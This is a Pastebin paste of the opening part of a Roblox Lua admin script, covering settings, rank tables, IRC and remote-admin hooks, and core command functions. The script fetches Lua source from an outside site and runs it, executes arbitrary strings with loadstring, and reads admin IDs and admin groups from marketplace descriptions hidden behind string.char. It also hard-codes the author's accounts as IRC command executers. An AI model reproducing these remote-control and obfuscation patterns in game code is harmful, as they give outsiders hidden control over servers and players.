kitafire

Damn Admin By MakerModelLua

Nov 4th, 2015
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 420.17 KB | None | 0 0
  1. --[[
  2. Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
  3. If you want to know what commands do just go into your game and say ;cmds for a list of
  4. commands, what they do, examples, rank needed, and more!
  5.  
  6. TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4
  7.  
  8. (This way I don't always have to update the command itself,
  9. the list, and the commentated list...)
  10.  
  11.  
  12. --->> DO NOT EDIT THESE SETTINGS <<---
  13. Well you can but it's a waste of your time. The settings are located in workspace
  14. in a folder called "MakerModelLua's Settings". You can also use this plugin:
  15.  
  16. http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
  17.  
  18. USE REMOTE ADMIN:
  19. http://www.classy-studios.com/Login/
  20.  
  21. ]]
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45. -- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
  46.  
  47.  
  48. local Settings = {
  49. Ranks = {
  50. ["immcool1"] = {immcool1};
  51. ["Admin"] = {kita35783};
  52. ["Member"] = {};
  53. ["Banned"] = {};
  54. ["Crashed"] = {};
  55. ["Muted"] = {};
  56. };
  57.  
  58. Prefix = ":";
  59. Bet = " ";
  60. MinimumAge = 0;
  61. ServerLocked = false;
  62. ColorScheme = "White";
  63. TransparencyScheme = 50;
  64. Fun = true;
  65. EnableAdminMenu = true;
  66. EnableTaskBar = true;
  67. FreeAdmin = false;
  68. Font = "Arial";
  69.  
  70. DisableAbuse = false;
  71. AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck"};
  72. AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
  73.  
  74. LinkedAccount = "Admin";
  75. DataKey = "";
  76.  
  77. ExecuteNotificationSound = 0; --177578949
  78. EnableSounds = true;
  79.  
  80. VIPMemberID = 0;
  81. VIPAdminID = 0;
  82.  
  83. GroupID = 0;
  84. GroupBanRank = 0;
  85. GroupMemberRank = 0;
  86. GroupAdminRank = 0;
  87. GroupOwnerRank = 0;
  88. GroupRankBan = 0;
  89. BannedGroupIDs = {};
  90.  
  91. IRCServer = "";
  92. IRCChannel = "";
  93. IRCCommandExecuters = {};
  94. }
  95.  
  96. local Colors = {
  97. ["WHITE"] = Color3.new(1,1,1);
  98. ["BLACK"] = Color3.new(0,0,0);
  99. ["GRAY"] = Color3.new(0.5,0.5,0.5);
  100. ["RED"] = Color3.new(1,0,0);
  101. ["GREEN"] = Color3.new(0,1,0);
  102. ["BLUE"] = Color3.new(0,0,1);
  103. ["YELLOW"] = Color3.new(1,1,0);
  104. ["PINK"] = Color3.new(1,0,1);
  105. ["MAGENTA"] = Color3.new(1,0,1);
  106. ["CYAN"] = BrickColor.new("Cyan").Color;
  107. ["TEAL"] = BrickColor.new("Teal").Color;
  108. ["BROWN"] = Color3.new(0.55,0.25,0.075);
  109. ["PURPLE"] = Color3.new(0.5,0,0.5);
  110. ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
  111. }
  112.  
  113. local Server = {
  114. Workspace = game:GetService("Workspace");
  115. Players = game:GetService("Players");
  116. Lighting = game:GetService("Lighting");
  117. MPS = game:GetService("MarketplaceService");
  118. TS = game:GetService("TeleportService");
  119. HS = game:GetService("HttpService");
  120. RS = game:GetService("RunService");
  121. PS = game:GetService("PointsService");
  122. TestS = game:GetService("TestService");
  123. IS = game:GetService("InsertService");
  124. Teams = game:GetService("Teams");
  125. Data = game:GetService("DataStoreService");
  126. GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
  127. NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
  128. }
  129.  
  130. local Icons = {
  131. ["Message"] = 7724351;
  132. ["Error"] = 94011556;
  133. ["Information"] = 144175130;
  134. ["Check"] = 132769976;
  135. ["Search"] = 61994930;
  136. ["Time"] = 136391033;
  137. ["Notice"] = 156507320;
  138. ["Sound"] = 164682936;
  139. ["Log"] = 70650545;
  140. ["Question"] = 41363872;
  141. ["Output"] = 11481605;
  142. ["Admin"] = 227964546;
  143. ["Lock"] = 11341626;
  144. ["Settings"] = 131064748;
  145. ["Map"] = 257119661;
  146. ["Plugin"] = 257097414;
  147. }
  148.  
  149. local IRC = {
  150. Codes = {
  151. ["001"] = "RPL_WELCOME",
  152. ["002"] = "RPL_YOURHOST",
  153. ["003"] = "RPL_CREATED",
  154. ["004"] = "RPL_MYINFO",
  155. ["005"] = "RPL_ISUPPORT",
  156. ["250"] = "RPL_STATSCONN",
  157. ["251"] = "RPL_LUSERCLIENT",
  158. ["252"] = "RPL_LUSEROP",
  159. ["254"] = "RPL_LUSERCHANNELS",
  160. ["255"] = "RPL_LUSERME",
  161. ["265"] = "RPL_LOCALUSERS",
  162. ["266"] = "RPL_GLOBALUSERS",
  163. ["352"] = "RPL_WHOREPLY",
  164. ["371"] = "RPL_INFO",
  165. ["372"] = "RPL_MOTD",
  166. ["374"] = "RPL_ENDINFO",
  167. ["375"] = "RPL_MOTDSTART",
  168. ["376"] = "RPL_ENDOFMOTD",
  169. ["422"] = "ERR_NOMOTD",
  170. },
  171. Ignore = {
  172. ["004"] = true,
  173. ["005"] = true,
  174. };
  175. Users = {};
  176. Logs = {};
  177. Chats = {};
  178. Forms = {};
  179. MessageAdded = Instance.new("BindableEvent");
  180.  
  181. Servers = {
  182. ["esper.net"] = {
  183. BaseUrl = "http://webchat.esper.net/";
  184. DynamicUrl = "";
  185. };
  186. ["quakenet.org"] = {
  187. BaseUrl = "http://webchat.quakenet.org/";
  188. DynamicUrl = "dynamic/leibniz",
  189. };
  190. ["swiftirc.net"] = {
  191. BaseUrl = "http://qwebirc.swiftirc.net/";
  192. DynamicUrl = "",
  193. };
  194. };
  195. NickName = "rbxMMLV3_"..math.random(1,100000);
  196.  
  197. SessionCounter = 0;
  198. Connected = false;
  199. Stop = false;
  200. SessionID = "";
  201. }
  202.  
  203. local RankHUD = {
  204. ["Muted"] = 202180094;
  205. ["Non-Admin"] = 202180121;
  206. ["Member"] = 202180052;
  207. ["Admin"] = 202180015;
  208. ["Owner"] = 202179988;
  209. }
  210.  
  211. local TextConverter = {
  212. LetterSounds = {
  213. ["a"] = {223757826, nil}; -- 203343899
  214. ["b"] = {223533700, 0.2}; -- 203344029
  215. ["c"] = {223533711, nil}; -- 203343994
  216. ["d"] = {223757910, nil}; -- 203398237
  217. ["e"] = {223758026, nil}; -- 203398295
  218. ["f"] = {223777655, nil}; -- 203398347
  219. ["g"] = {223777738, nil}; -- 203398372
  220. ["h"] = {223777757, nil}; -- 203398397
  221. ["i"] = {223777807, nil}; -- 203398422
  222. ["j"] = {223782888, nil}; -- 203398450
  223. ["k"] = {223533711, nil}; -- 203343994
  224. ["l"] = {223782961, 0.4}; -- 203398541
  225. ["m"] = {223782992, nil}; -- 203398578
  226. ["n"] = {223783063, nil}; -- 203398599
  227. ["o"] = {223783184, nil}; -- 203398611
  228. ["p"] = {223783235, nil}; -- 203398727
  229. ["q"] = {223783260, nil}; -- 203398755
  230. ["r"] = {223783305, 0.2}; -- 203398792
  231. ["s"] = {223783377, nil}; -- 203398806
  232. ["t"] = {223783446, nil}; -- 203398850
  233. ["u"] = {223783512, nil}; -- 203398872
  234. ["v"] = {223783654, nil}; -- 203398965
  235. ["w"] = {223783697, nil}; -- 203398984
  236. ["x"] = {223783796, nil}; -- 203399008
  237. ["y"] = {223783853, nil}; -- 203399043
  238. ["z"] = {223783893, nil}; -- 203399096
  239.  
  240. ["ch"] = {223784367, 0.3}; -- 203592149
  241. ["th"] = {223788235, 0.3}; -- 203399215
  242. ["sh"] = {223784505, 0.2}; -- 203399566
  243. ["wh"] = {223784555, 0.3}; -- 203622828
  244. ["oo"] = {223784456, 0.3}; -- 203399743
  245. ["ing"] = {223784393, 0.3}; -- 203402836
  246. };
  247.  
  248. LongVowels = {
  249. ["a"] = {223533687, nil}; -- 203343932
  250. ["e"] = {223777620, nil}; -- 203398314
  251. ["i"] = {223777855, nil}; -- 203398440
  252. ["o"] = {223783212, nil}; -- 203398619
  253. ["u"] = {223783572, nil}; -- 203398897
  254. };
  255.  
  256. Pronounce = {
  257. ["0"] = "zero";
  258. ["1"] = "wun";
  259. ["2"] = "too";
  260. ["3"] = "three";
  261. ["4"] = "four";
  262. ["5"] = "five";
  263. ["6"] = "six";
  264. ["7"] = "seven";
  265. ["8"] = "eyt";
  266. ["9"] = "nine";
  267. ["one"] = "wun";
  268. ["two"] = "too";
  269. ["eight"] = "eyt";
  270. ["eigh"] = "ey";
  271. ["gh"] = "h";
  272. ["kn"] = "n";
  273. ["come"] = "cu".."m";
  274. ["bye"] = "bi";
  275. ["#"] = "hashtag";
  276. ["@"] = "at";
  277. ["&"] = "and";
  278. ["*"] = "astrict";
  279. ["mn"] = "m";
  280. ["kn"] = "n";
  281. ["ies"] = "ees";
  282. };
  283.  
  284. NonEnglishRules = {
  285. ["to"] = "too";
  286. ["you"] = "yoo";
  287. ["we"] = "wee";
  288. ["are"] = "erh";
  289. ["your"] = "yoor";
  290. ["you're"] = "yoor";
  291. ["youre"] = "yoor";
  292. ["pizza"] = "peetzoh";
  293. ["ok"] = "okay";
  294. ["have"] = "hav";
  295. ["my"] = "mi";
  296. ["me"] = "mee";
  297. ["u"] = "yoo";
  298. ["r"] = "erh";
  299. ["move"] = "moov";
  300. ["dove"] = "duv";
  301. ["debris"] = "debree";
  302. ["do"] = "doo";
  303. }
  304. }
  305.  
  306. local HTMLDecode = {
  307. ["35"] = "#";
  308. ["36"] = "$";
  309. ["37"] = "%%";
  310. ["38"] = "*";
  311. ["39"] = "'";
  312. ["58"] = ":";
  313. ["59"] = ";";
  314. ["60"] = "<";
  315. ["62"] = ">";
  316. }
  317.  
  318.  
  319. local Packages = {
  320. [27112438] = {27112025,27112039,27112052,27112056,27112068};
  321. [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
  322. [77518833] = {77518564,77518616,77518654,77518696,77518737};
  323. [32336368] = {32336059,32336117,32336182,32336243,32336306};
  324. [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
  325. [54116460] = {54116290,54116338,54116373,54116394,54116432};
  326. [39977366] = {39976703,39976829,39976927,39977192,39977295};
  327. [32357766] = {32357663,32357631,32357619,32357584,32357558};
  328. [27123973] = {27121265,27121306,27121353,27121393,27121432};
  329. [55717536] = {55717271,55717330,55717388,55717434,55717491};
  330. [28279963] = {28279160,28279217,28279859,28279894,28279938};
  331. [27403592] = {27402580,27402546,27402641,27402714,27402742};
  332. [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
  333. [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
  334. [48474394] = {48474356,48474294};
  335. [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
  336. [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
  337. [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
  338. [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
  339. [33378577] = {33378366,33378438,33378484,33378522,33378540};
  340. [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
  341. [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
  342. [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
  343. }
  344.  
  345. local CharacterCache = {
  346. {"MakerModelLua", 38837082};
  347. {"LuaModelMaker", 20920633};
  348. {"builderman", 156};
  349. {"Shedletsky", 261};
  350. {"Telamon", 13645};
  351. {"ROBLOX", 1};
  352. }
  353.  
  354. local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
  355.  
  356. local SoundList,GlobalSoundList = {},{}
  357. local ScriptCache,MarketCache,PackageCache = {},{},Packages
  358. local TempChatLogs = {}
  359. local ToolRegions = {Server.Lighting, game:GetService("ReplicatedStorage"), game:GetService("ServerStorage")}
  360. local NoSpeak = false
  361.  
  362. local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
  363. local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "http://www.classy-studios.com"},{Command, ServerCommand, ServerPort, TimeStamp, RemoteConnection = false}
  364.  
  365. local ChatLogs,CommandLogs = {},{}
  366. local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
  367. local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
  368. local Dispose,Jails,PermCommandBars = {},{},{}
  369. local Waypoints = {["Center"] = Vector3.new(0,0,0)}
  370. local Objects = {}
  371. local Sound = nil
  372. local ModLighting = false
  373. local DataReady = true
  374. local RemoteAbuseGear = {}
  375.  
  376. local GameOwner = "[ Client ]"
  377. local PlaceName = "Unknown"
  378. local PlaceInfo = {}
  379. local IsStudio = false
  380. local IsSB = false
  381. local Date = nil
  382. local Fonts = {}
  383. local PendingRequests = {}
  384. local F3X = script:FindFirstChild("F3X Tools")
  385. local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
  386.  
  387. -- import old settings just in case --
  388. local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
  389. if OldSettings then
  390. OldSettings = require(OldSettings)
  391.  
  392. for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
  393. Settings[ValName] = OldSettings[ValName]
  394. end
  395. Settings.GroupBanRank = OldSettings.RankBan
  396. Settings.Fun = OldSettings.FUN
  397. end
  398.  
  399. if F3X then
  400. F3X = F3X:Clone()
  401. F3X.Handle.Anchored = false
  402. script:FindFirstChild("F3X Tools"):Destroy()
  403. end
  404.  
  405. local SettingsValues = script.Parent:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
  406. if SettingsValues then
  407. if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
  408. for _,Value in pairs(SettingsValues:GetChildren()) do
  409. if Settings[Value.Name] then
  410. if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
  411. for _,NewValue in pairs(Value:GetChildren()) do
  412. if ypcall(function() return NewValue.Value end) then
  413. if Settings[Value.Name][NewValue.Name] then
  414. local Val = NewValue.Value
  415. if type(Settings[Value.Name][NewValue.Name]) == "table" then
  416. Val = {}
  417. for Word in string.gmatch(NewValue.Value, "%w+") do
  418. table.insert(Val, Word)
  419. end
  420. end
  421. Settings[Value.Name][NewValue.Name] = Val
  422. end
  423. end
  424. end
  425. elseif ypcall(function() return Value.Value end) then
  426. if Settings[Value.Name] then
  427. local Val = Value.Value
  428. if type(Settings[Value.Name]) == "table" then
  429. Val = {}
  430. for Word in string.gmatch(Value.Value, "%w+") do
  431. table.insert(Val, Word)
  432. end
  433. end
  434. Settings[Value.Name] = Val
  435. end
  436. end
  437. end
  438. end
  439. end
  440. end
  441.  
  442.  
  443.  
  444. local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber -- localize variables so executables don't troll the script
  445.  
  446. wait(1.1)
  447.  
  448. local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
  449.  
  450. if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
  451.  
  452. if not IsStudio then
  453. Server.NS = game:GetService("NetworkServer")
  454. script.Name = "Maker".."Mo".."delLua's Admin"
  455. end
  456.  
  457. --repeat
  458. --ypcall(function()
  459. PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
  460. PlaceName = PlaceInfo.Name
  461. --end)
  462. --wait(1)
  463. --until #PlaceInfo > 0
  464. if string.byte(string.sub(PlaceName,1,1)) == 226 then
  465. PlaceName = string.sub(PlaceName,4,#PlaceName)
  466. end
  467. GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId)
  468.  
  469. if game.PlaceId == 21053279 or game.PlaceId == 21053219 or game.PlaceId == 20279777 or PlaceId == 260897989 then IsSB = true end
  470.  
  471. if IsSB then
  472. Settings.IRCServer = "swiftirc.net";
  473. Settings.IRCChannel = "#scriptbuilder";
  474. Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
  475. end
  476. local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
  477. table.insert(Settings.Ranks["immcool1"], GameOwner)
  478.  
  479. for _,Font in pairs(Enum.Font:GetEnumItems()) do
  480. Fonts[string.sub(tostring(Font),11)] = Font
  481. end
  482.  
  483. local LogClient = script:FindFirstChild("AddClientInfo")
  484. if LogClient then LogClient:Destroy() end
  485. LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
  486. LogClient.OnServerInvoke = function(Player, Info)
  487. if Info then
  488. for Key,Data in pairs(Info) do
  489. ClientInfo[Player.Name][Key] = Data
  490. end
  491. end
  492. end
  493.  
  494. local function MakeFunction(Type, Name)
  495. local Func = script:FindFirstChild(Name)
  496. if Func then Func:Destroy() end
  497. Func = Instance.new(Type, script) Func.Name = Name
  498.  
  499. getfenv()[Name] = Func
  500. return Func
  501. end
  502.  
  503. MakeFunction("BindableFunction", "ExecuteCommand")
  504. MakeFunction("BindableFunction", "ExecuteCode")
  505.  
  506. MakeFunction("RemoteFunction", "IsAdmin")
  507. MakeFunction("RemoteFunction", "AddExploit")
  508. MakeFunction("RemoteFunction", "KickClient")
  509. MakeFunction("RemoteFunction", "ConvertTextToSound")
  510.  
  511. MakeFunction("RemoteFunction", "RankPlayerLocal")
  512. MakeFunction("BindableFunction", "RankPlayerServer")
  513.  
  514. if NLS then
  515. Settings.LinkedAccount = "ScriptBuilder"
  516. --[[local Value = script:FindFirstChild("Override")
  517. LogClient.Parent = game
  518. if not Value then
  519. local Value = Instance.new("BoolValue", script) Value.Name = "Override"
  520. local CloneScript = script:Clone()
  521. CloneScript.Disabled = true
  522. CloneScript.Parent = game:FindFirstChild("ServerScriptService")
  523. CloneScript.Disabled = false
  524. CloneScript.Parent = nil
  525.  
  526. script:Destroy() script.Disabled = true
  527. end]]
  528. end
  529.  
  530. if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
  531.  
  532. IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
  533.  
  534. -- Core functions --
  535.  
  536. function CORE:FixSettings()
  537. if Settings.Bet == "/" or Settings.Bet == "-" or Settings.Bet == "(" or Settings.Bet == ")" then Settings.Bet = " " end
  538. CORE:ChangeBet(Settings.Bet)
  539.  
  540. if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
  541. if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
  542.  
  543. if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
  544. if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
  545. Settings.TransparencyScheme = Settings.TransparencyScheme/100
  546.  
  547. if not Fonts[Settings.Font] then
  548. Settings.Font = "Arial"
  549. end
  550. end
  551.  
  552. function CORE:NilPlayer(Player)
  553. if Player == nil or type(Player) == "table" then return true else return false end
  554. end
  555.  
  556. function CORE:ExecuteResource(ResourceName, Parent, Data)
  557. local ReturnScript = nil
  558. local Executed = true
  559. if script:FindFirstChild("Resources") then
  560. local RawResource = script.Resources:FindFirstChild(ResourceName)
  561. if RawResource then
  562. local Resource = RawResource:Clone()
  563. Resource.Disabled = true
  564. Resource.Parent = Parent
  565. if Data then
  566. for Key,Value in pairs(Data) do
  567. if Resource[Key] then
  568. Resource[Key].Value = Value
  569. end
  570. end
  571. end
  572. wait()
  573. Resource.Disabled = false
  574. ReturnScript = Resource
  575. else
  576. Executed = false
  577. end
  578. else
  579. Executed = false
  580. end
  581. if Executed == false then
  582. if not Data then Data = {} end
  583. local Source = ScriptCache[ResourceName]
  584.  
  585. if not Source then
  586. Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
  587. if Source then
  588. ScriptCache[ResourceName] = Source
  589. end
  590. end
  591.  
  592. if Data and Source then
  593. for Key,Value in pairs(Data) do
  594. Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
  595. end
  596. end
  597.  
  598. if NLS and Source then
  599. ReturnScript = NLS(Source, Parent)
  600. end
  601. end
  602. return ReturnScript
  603. end
  604.  
  605. function CORE:HandleError(Error, Speaker)
  606. local Return = ""
  607. if not Error or Error == "" then
  608. Return = "Unknown Error"
  609. else
  610. Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
  611. end
  612. if Speaker then
  613. GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
  614. end
  615. return Return
  616. end
  617.  
  618. function CORE:Execute(Source, Speaker)
  619. local Script, Error = loadstring([[local getfenv,setfenv,Commands,script = nil,nil,nil,nil ]]..Source)
  620. if Error then
  621. return false, CORE:HandleError(Error, Speaker)
  622. else
  623. getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  624. if Speaker then
  625. getfenv(Script).print = function(...)
  626. GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
  627. end
  628. getfenv(Script).print_array = function(List)
  629. if type(List) == "table" then
  630. GUI:ListGui(Speaker, "Listed Table", List, "Output")
  631. end
  632. end
  633. end
  634.  
  635. local Suc, Error = ypcall(coroutine.wrap(Script))
  636.  
  637. if not Suc then
  638. Error = CORE:HandleError(Error, Speaker)
  639. end
  640.  
  641. return Suc,Error
  642. end
  643. end
  644.  
  645. function CORE:GetTime(Regular, FullDate)
  646. if Regular == nil then Regular = true end
  647. local Meridiem = ""
  648. if Regular == true then Meridiem = " AM" end
  649. local SecondsOfToday = math.fmod(os.time(), 60*60*24)
  650. local Hour = math.floor(SecondsOfToday / (60*60))
  651. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  652. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  653. if Hour > 12 and Regular == true then
  654. Hour = Hour - 12
  655. Meridiem = " PM"
  656. end
  657. Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
  658. if #Hour <= 1 then Hour = "0"..Hour end
  659. if #Minute <= 1 then Minute = "0"..Minute end
  660. if #Second <= 1 then Second = "0"..Second end
  661. local Return = Hour..":"..Minute..":"..Second..Meridiem
  662. if FullDate == true and Date then Return = Date.." "..Return end
  663. return Return
  664. end
  665.  
  666. function CORE:RemoveAdmin(Speaker)
  667. local Answer = true -- false
  668. if not CORE:NilPlayer(Speaker) then
  669. Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."uas's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
  670. end
  671. if Answer == "Yes" or CORE:NilPlayer(Speaker) then
  672. for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
  673. for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
  674. if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
  675. GUI:Destroy()
  676. end
  677. end
  678. end end
  679. CORE:FixLighting()
  680. while wait() do
  681. if script:FindFirstChild("Override") then script.Override.Value = true end
  682. Settings,CORE,IRC = nil,{},{}
  683. if Sound then Sound:Stop() end
  684. if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
  685. script:ClearAllChildren() script:Destroy() script.Disabled = true
  686. end
  687. end
  688. end
  689.  
  690. function CORE:MakeBase()
  691. for _,Get in pairs(Workspace:GetChildren()) do
  692. if Get.Name == "Base" or Get.Name == "BasePlate" then
  693. Get:Destroy()
  694. end
  695. end
  696. local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
  697. end
  698.  
  699. function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive)
  700. if IsAbusive == nil then IsAbusive = false end
  701. if Commands[CommandName] then table.remove(Commands[CommandName]) end
  702. Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive}
  703. end
  704.  
  705. function CORE:FindAge(Days) -- By LuaModelmaker
  706. local Years = math.floor(Days/365)
  707. local OtherDays = math.fmod(Days, 365)
  708. if Years > 1 then
  709. return Years.." years and "..OtherDays.." days"
  710. elseif Years == 1 then
  711. return Years.." year and "..OtherDays.." days"
  712. elseif Years == 0 then
  713. return "(No years) "..OtherDays.." days"
  714. end
  715. end
  716.  
  717. function CORE:FixLighting() coroutine.wrap(function()
  718. ModLighting = false
  719. wait(0.2)
  720. Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
  721. Server.Lighting.FogColor = Color3.new(0,0,0)
  722. Server.Lighting.Brightness = 1
  723. Server.Lighting.TimeOfDay = 14
  724. Server.Lighting.FogEnd = 100000
  725. end)() end
  726.  
  727. function CORE:Round(Number)
  728. if Number >= 0.5 then
  729. return math.ceil(Number)
  730. elseif Number < 0.5 then
  731. return math.floor(Number)
  732. end
  733. end
  734.  
  735. local AdminID,Got = nil,false
  736. repeat wait()
  737. Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
  738. until Got == true
  739.  
  740. function CORE:GetTable(ID)
  741. local Thing = nil
  742. repeat wait()
  743. ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
  744. until Thing
  745. return Thing
  746. end
  747.  
  748. function CORE:InAdminGroup(Speaker)
  749. local IsIn = false
  750. for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
  751. if Speaker:IsInGroup(Get) then
  752. IsIn = true
  753. end
  754. end
  755. if IsIn == true then
  756. return true
  757. else
  758. GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
  759. return false
  760. end
  761. end
  762.  
  763. function CORE:ReverseTable(Table)
  764. if type(Table) ~= "table" then return Table end
  765. local NewTable = {}
  766. for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
  767. return NewTable
  768. end
  769.  
  770. function CORE:Log(LogTable, Player, Chat)
  771. local PlayerName = tostring(Player)
  772. if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
  773. table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
  774. end
  775.  
  776. function CORE:Jail(Player)
  777. if not Player then return nil end
  778. local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  779. Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
  780. local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
  781. local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
  782. local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
  783. local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
  784. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
